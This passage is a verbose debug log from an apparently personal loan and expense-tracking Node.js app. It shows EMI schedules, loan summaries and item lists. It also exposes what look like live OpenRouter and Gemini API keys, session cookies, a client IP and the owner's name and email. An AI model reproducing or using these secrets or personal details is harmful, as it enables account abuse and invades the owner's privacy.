    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-02-25T12:40:22.244Z server-connect:router Serving templateView /emis
2026-02-25T12:40:22.244Z server-connect:app Executing action step identify
2026-02-25T12:40:22.244Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:22.244Z server-connect:output identity: 1
2026-02-25T12:40:22.244Z server-connect:app Executing action step restrict
2026-02-25T12:40:22.244Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T12:40:22.245Z server-connect:output restrict: undefined
2026-02-25T12:40:22.245Z server-connect:router Render template layouts/main
2026-02-25T12:40:22.245Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A9EfYjB8N5EiVSBo%2BZyEpUw%3D%3D.IAdtBrqY4FD6FlNaCqJBsjzVfz3vNeJl2aL4gVeSOJbTTBMCaLZdZyUs81u%2FIYtwCJ%2BqxkGwkCSeMxnmGQES2UCwSIFUvpV5uf7qwKu4shOOdVX3N98rguMGXIz8043DjV%2FE4XbuAJ3s2ow0qPkx4kHjUoXILDhcVnVmJkVJ8iE%3D.As3rYOV1292sXRxlpEyabbr9t0VBxEH7QaH3mFsgazc; your_r_git.sid=s%3A74SZCxHZ2lvR3r37N_yLlTWQR0CkvCI5.rnW0nQpDQBZ5LUr75bAvgmvCx5Mmng3Jd5rkWp1ry8o',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-26T12:37:51.721Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A9EfYjB8N5EiVSBo%2BZyEpUw%3D%3D.IAdtBrqY4FD6FlNaCqJBsjzVfz3vNeJl2aL4gVeSOJbTTBMCaLZdZyUs81u%2FIYtwCJ%2BqxkGwkCSeMxnmGQES2UCwSIFUvpV5uf7qwKu4shOOdVX3N98rguMGXIz8043DjV%2FE4XbuAJ3s2ow0qPkx4kHjUoXILDhcVnVmJkVJ8iE%3D.As3rYOV1292sXRxlpEyabbr9t0VBxEH7QaH3mFsgazc; your_r_git.sid=s%3A74SZCxHZ2lvR3r37N_yLlTWQR0CkvCI5.rnW0nQpDQBZ5LUr75bAvgmvCx5Mmng3Jd5rkWp1ry8o',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/emis'
}
2026-02-25T12:40:24.522Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:40:24.524Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-25T12:40:24.524Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-25T12:40:24.525Z server-connect:app Executing action step identify
2026-02-25T12:40:24.525Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:24.525Z server-connect:output identity: 1
2026-02-25T12:40:24.525Z server-connect:app Executing action step restrict
2026-02-25T12:40:24.525Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:24.525Z server-connect:app Executing action step identify
2026-02-25T12:40:24.525Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:24.525Z server-connect:output identity: 1
2026-02-25T12:40:24.525Z server-connect:app Executing action step restrict
2026-02-25T12:40:24.525Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:24.526Z server-connect:app Executing action step identify
2026-02-25T12:40:24.526Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:24.526Z server-connect:output identity: 1
2026-02-25T12:40:24.526Z server-connect:app Executing action step restrict
2026-02-25T12:40:24.526Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:24.527Z server-connect:output restrict: undefined
2026-02-25T12:40:24.527Z server-connect:app Executing action step custom
2026-02-25T12:40:24.527Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:40:24.527Z server-connect:output restrict: undefined
2026-02-25T12:40:24.527Z server-connect:app Executing action step select
2026-02-25T12:40:24.527Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-25T12:40:24.528Z server-connect:output restrict: undefined
2026-02-25T12:40:24.528Z server-connect:app Executing action step single
2026-02-25T12:40:24.528Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-25T12:40:24.530Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '15',
    total_remaining_amount: 330465,
    total_paid_amount: 727023,
    percentage_paid: '68.75'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '9',
    total_remaining_amount: 48024,
    total_paid_amount: 144072,
    percentage_paid: '75.00'
  }
]
2026-02-25T12:40:24.533Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-25T12:40:24.534Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-25T12:40:27.511Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:40:27.511Z server-connect:app Executing action step identify
2026-02-25T12:40:27.511Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:27.512Z server-connect:output identity: 1
2026-02-25T12:40:27.512Z server-connect:app Executing action step restrict
2026-02-25T12:40:27.512Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:27.512Z server-connect:output restrict: undefined
2026-02-25T12:40:27.512Z server-connect:app Executing action step select
2026-02-25T12:40:27.512Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:40:27.514Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
